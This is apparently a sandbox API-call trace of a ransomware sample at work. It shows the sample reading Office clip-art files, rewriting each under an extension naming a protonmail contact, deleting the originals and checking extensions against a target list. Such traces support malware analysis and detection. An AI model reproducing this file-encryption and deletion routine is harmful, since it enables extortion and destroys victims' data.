	[0207.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0207.068] GetLastError () returned 0x0
	[0207.068] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x284c, lpOverlapped=0x0) returned 1
	[0207.069] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0x2850, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0x2850, lpOverlapped=0x0) returned 1
	[0207.070] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.070] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.070] SetEndOfFile (hFile=0x388) returned 1
	[0207.070] CloseHandle (hObject=0x388) returned 1
	[0207.070] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.070] SetEndOfFile (hFile=0x384) returned 1
	[0207.071] CloseHandle (hObject=0x384) returned 1
	[0207.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.072] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 1
	[0207.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0207.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0207.072] lstrlenW (lpString=".doc") returned 4
	[0207.072] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.072] lstrlenW (lpString=".docx") returned 5
	[0207.072] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.072] lstrlenW (lpString=".pdf") returned 4
	[0207.072] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.072] lstrlenW (lpString=".xls") returned 4
	[0207.072] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.072] lstrlenW (lpString=".xlsx") returned 5
	[0207.072] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.072] lstrlenW (lpString=".ppt") returned 4
	[0207.073] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0207.073] lstrlenW (lpString=".zip") returned 4
	[0207.073] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.073] lstrlenW (lpString=".rar") returned 4
	[0207.073] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.073] lstrlenW (lpString=".bz2") returned 4
	[0207.073] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.073] lstrlenW (lpString=".7z") returned 3
	[0207.073] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0207.073] lstrlenW (lpString=".dbf") returned 4
	[0207.073] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0207.073] lstrlenW (lpString=".1cd") returned 4
	[0207.073] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0207.073] lstrlenW (lpString=".jpg") returned 4
	[0207.073] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0207.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0207.073] lstrlenW (lpString=".doc") returned 4
	[0207.073] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.073] lstrlenW (lpString=".docx") returned 5
	[0207.073] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.073] lstrlenW (lpString=".pdf") returned 4
	[0207.073] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.073] lstrlenW (lpString=".xls") returned 4
	[0207.073] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.073] lstrlenW (lpString=".xlsx") returned 5
	[0207.073] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.073] lstrlenW (lpString=".ppt") returned 4
	[0207.073] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0207.074] lstrlenW (lpString=".zip") returned 4
	[0207.074] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.074] lstrlenW (lpString=".rar") returned 4
	[0207.074] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.074] lstrlenW (lpString=".bz2") returned 4
	[0207.074] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.074] lstrlenW (lpString=".7z") returned 3
	[0207.074] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0207.074] lstrlenW (lpString=".dbf") returned 4
	[0207.074] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0207.074] lstrlenW (lpString=".1cd") returned 4
	[0207.074] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0207.074] lstrlenW (lpString=".jpg") returned 4
	[0207.074] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.074] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.074] lstrlenW (lpString="FD01657_.WMF") returned 12
	[0207.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0207.074] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=30414) returned 1
	[0207.075] CloseHandle (hObject=0x384) returned 1
	[0207.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 0x220
	[0207.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0207.075] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.075] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0207.076] GetLastError () returned 0x0
	[0207.076] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x76ce, lpOverlapped=0x0) returned 1
	[0207.368] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0x76d0, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0x76d0, lpOverlapped=0x0) returned 1
	[0207.461] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.461] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.461] SetEndOfFile (hFile=0x388) returned 1
	[0207.461] CloseHandle (hObject=0x388) returned 1
	[0207.461] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.461] SetEndOfFile (hFile=0x384) returned 1
	[0207.462] CloseHandle (hObject=0x384) returned 1
	[0207.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.463] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 1
	[0207.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0207.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0207.463] lstrlenW (lpString=".doc") returned 4
	[0207.463] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.463] lstrlenW (lpString=".docx") returned 5
	[0207.463] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.463] lstrlenW (lpString=".pdf") returned 4
	[0207.463] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.464] lstrlenW (lpString=".xls") returned 4
	[0207.464] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.464] lstrlenW (lpString=".xlsx") returned 5
	[0207.464] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.464] lstrlenW (lpString=".ppt") returned 4
	[0207.464] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0207.464] lstrlenW (lpString=".zip") returned 4
	[0207.464] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.464] lstrlenW (lpString=".rar") returned 4
	[0207.464] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.464] lstrlenW (lpString=".bz2") returned 4
	[0207.464] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.464] lstrlenW (lpString=".7z") returned 3
	[0207.464] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0207.464] lstrlenW (lpString=".dbf") returned 4
	[0207.464] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0207.464] lstrlenW (lpString=".1cd") returned 4
	[0207.464] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0207.464] lstrlenW (lpString=".jpg") returned 4
	[0207.464] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0207.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0207.464] lstrlenW (lpString=".doc") returned 4
	[0207.464] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.464] lstrlenW (lpString=".docx") returned 5
	[0207.464] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.464] lstrlenW (lpString=".pdf") returned 4
	[0207.464] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.465] lstrlenW (lpString=".xls") returned 4
	[0207.465] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.465] lstrlenW (lpString=".xlsx") returned 5
	[0207.465] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.465] lstrlenW (lpString=".ppt") returned 4
	[0207.465] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0207.465] lstrlenW (lpString=".zip") returned 4
	[0207.465] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.465] lstrlenW (lpString=".rar") returned 4
	[0207.465] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.465] lstrlenW (lpString=".bz2") returned 4
	[0207.465] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.465] lstrlenW (lpString=".7z") returned 3
	[0207.465] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0207.465] lstrlenW (lpString=".dbf") returned 4
	[0207.465] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0207.465] lstrlenW (lpString=".1cd") returned 4
	[0207.465] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0207.465] lstrlenW (lpString=".jpg") returned 4
	[0207.465] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.465] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.465] lstrlenW (lpString="FD02068_.WMF") returned 12
	[0207.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0207.466] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=2488) returned 1
	[0207.466] CloseHandle (hObject=0x384) returned 1
	[0207.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 0x220
	[0207.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0207.466] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.466] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0207.467] GetLastError () returned 0x0
	[0207.468] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x9b8, lpOverlapped=0x0) returned 1
	[0207.469] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0x9c0, lpOverlapped=0x0) returned 1
	[0207.470] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.470] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.470] SetEndOfFile (hFile=0x388) returned 1
	[0207.470] CloseHandle (hObject=0x388) returned 1
	[0207.470] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.470] SetEndOfFile (hFile=0x384) returned 1
	[0207.471] CloseHandle (hObject=0x384) returned 1
	[0207.471] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.471] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 1
	[0207.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0207.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0207.472] lstrlenW (lpString=".doc") returned 4
	[0207.472] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.472] lstrlenW (lpString=".docx") returned 5
	[0207.472] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.472] lstrlenW (lpString=".pdf") returned 4
	[0207.472] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.472] lstrlenW (lpString=".xls") returned 4
	[0207.472] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.472] lstrlenW (lpString=".xlsx") returned 5
	[0207.472] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.472] lstrlenW (lpString=".ppt") returned 4
	[0207.472] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0207.472] lstrlenW (lpString=".zip") returned 4
	[0207.472] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.472] lstrlenW (lpString=".rar") returned 4
	[0207.472] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.472] lstrlenW (lpString=".bz2") returned 4
	[0207.473] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.473] lstrlenW (lpString=".7z") returned 3
	[0207.473] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0207.473] lstrlenW (lpString=".dbf") returned 4
	[0207.473] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0207.473] lstrlenW (lpString=".1cd") returned 4
	[0207.473] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0207.473] lstrlenW (lpString=".jpg") returned 4
	[0207.473] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0207.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0207.473] lstrlenW (lpString=".doc") returned 4
	[0207.473] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.473] lstrlenW (lpString=".docx") returned 5
	[0207.473] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.473] lstrlenW (lpString=".pdf") returned 4
	[0207.473] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.473] lstrlenW (lpString=".xls") returned 4
	[0207.473] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.473] lstrlenW (lpString=".xlsx") returned 5
	[0207.473] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.473] lstrlenW (lpString=".ppt") returned 4
	[0207.473] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0207.473] lstrlenW (lpString=".zip") returned 4
	[0207.473] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.473] lstrlenW (lpString=".rar") returned 4
	[0207.473] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.473] lstrlenW (lpString=".bz2") returned 4
	[0207.474] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.474] lstrlenW (lpString=".7z") returned 3
	[0207.474] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0207.474] lstrlenW (lpString=".dbf") returned 4
	[0207.474] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0207.474] lstrlenW (lpString=".1cd") returned 4
	[0207.474] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0207.474] lstrlenW (lpString=".jpg") returned 4
	[0207.474] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.474] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.474] lstrlenW (lpString="FD02071_.WMF") returned 12
	[0207.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0207.474] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=2188) returned 1
	[0207.474] CloseHandle (hObject=0x384) returned 1
	[0207.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf")) returned 0x220
	[0207.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0207.475] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.475] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
